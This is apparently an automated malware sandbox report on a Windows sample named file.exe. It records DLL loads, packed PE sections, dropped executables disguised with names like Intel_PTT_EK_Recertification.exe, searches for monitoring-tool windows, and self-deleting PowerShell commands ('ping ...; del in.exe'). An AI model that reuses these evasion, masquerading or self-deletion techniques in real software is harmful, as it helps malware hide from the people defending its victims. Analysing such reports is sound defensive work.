Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3003904 > 1048576

Source: file.exe

Static PE information: Raw size of rlgtiwao is bigger than: 0x100000 < 0x2aba00

Source:	Binary string: wkernel32.pdb source: 80f68847d3.exe, 00000023.00000003.2357823497.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2357638575.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362789768.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362892091.0000000004F10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 80f68847d3.exe, 00000023.00000003.2352330362.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2352832260.0000000005790000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2361729764.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362006479.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2356903461.0000000005740000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2356532106.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362545931.0000000004F90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362355341.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2352330362.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2352832260.0000000005790000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2361729764.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362006479.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 80f68847d3.exe, 00000023.00000003.2356903461.0000000005740000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2356532106.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362545931.0000000004F90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362355341.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2357823497.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2357638575.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362789768.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2362892091.0000000004F10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.890000.0.unpack :EW;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rlgtiwao:EW;yjhidprh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Unpacked PE file: 35.2.80f68847d3.exe.880000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kucwzsnp:EW;vgfkproo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kucwzsnp:EW;vgfkproo:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: d2cb36d600.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: Intel_PTT_EK_Recertification.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1ecda5 should be: 0x1f42f6
Source: 80f68847d3.exe.6.dr	Static PE information: real checksum: 0x1ecda5 should be: 0x1f42f6
Source: 7z.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 9f237e29d5.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: file.exe	Static PE information: real checksum: 0x2ebe6a should be: 0x2e529c
Source: 7z.dll.12.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2ebe6a should be: 0x2e529c
Source: in.exe.23.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rlgtiwao
Source: file.exe	Static PE information: section name: yjhidprh
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: rlgtiwao
Source: skotes.exe.0.dr	Static PE information: section name: yjhidprh
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: kucwzsnp
Source: random[1].exe1.6.dr	Static PE information: section name: vgfkproo
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 80f68847d3.exe.6.dr	Static PE information: section name:
Source: 80f68847d3.exe.6.dr	Static PE information: section name: .idata
Source: 80f68847d3.exe.6.dr	Static PE information: section name:
Source: 80f68847d3.exe.6.dr	Static PE information: section name: kucwzsnp
Source: 80f68847d3.exe.6.dr	Static PE information: section name: vgfkproo
Source: 80f68847d3.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.23.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.25.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AD91C push ecx; ret	0_2_008AD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A1359 push es; ret	0_2_008A135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0061D91C push ecx; ret	2_2_0061D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0061D91C push ecx; ret	6_2_0061D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0061DFC6 push ecx; ret	6_2_0061DFD9
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_0092534A push ecx; ret	8_2_0092535D
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_0092534A push ecx; ret	10_2_0092535D
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013CCF56 push esp; iretd	11_3_013CCF59
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013CCF56 push esp; iretd	11_3_013CCF59
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013AC00A push edi; ret	11_3_013AC039
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013AC00A push edi; ret	11_3_013AC039
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADF62 push edx; ret	11_3_013AE001
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADF62 push edx; ret	11_3_013AE001
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013C1355 push esp; iretd	11_3_013C153C
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADE82 push ecx; retf	11_3_013ADE88
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADE62 push ecx; retf	11_3_013ADE88
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADFCA push edx; ret	11_3_013AE001
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013ADFCA push edx; ret	11_3_013AE001
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013BA458 push 78013BC3h; ret	11_3_013BA45D
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013CCF56 push esp; iretd	11_3_013CCF59
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013CCF56 push esp; iretd	11_3_013CCF59
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01362522 push dword ptr [edi]; retf	11_3_01362527
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01362522 push dword ptr [edi]; retf	11_3_01362527
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_0134EE38 push es; retn 000Bh	11_3_0134EE3A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_0134EE38 push es; retn 000Bh	11_3_0134EE3A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350F0E pushad ; iretd	11_3_01350F25
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350F0E pushad ; iretd	11_3_01350F25
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01351A59 push ebp; ret	11_3_01351A91
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01351A59 push ebp; ret	11_3_01351A91
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_0134EE38 push es; retn 000Bh	11_3_0134EE3A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_0134EE38 push es; retn 000Bh	11_3_0134EE3A

Source: file.exe	Static PE information: section name: entropy: 7.981358643566328
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.981358643566328
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.981750871713057
Source: random[1].exe1.6.dr	Static PE information: section name: kucwzsnp entropy: 7.953254117133547
Source: 80f68847d3.exe.6.dr	Static PE information: section name: entropy: 7.981750871713057
Source: 80f68847d3.exe.6.dr	Static PE information: section name: kucwzsnp entropy: 7.953254117133547

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
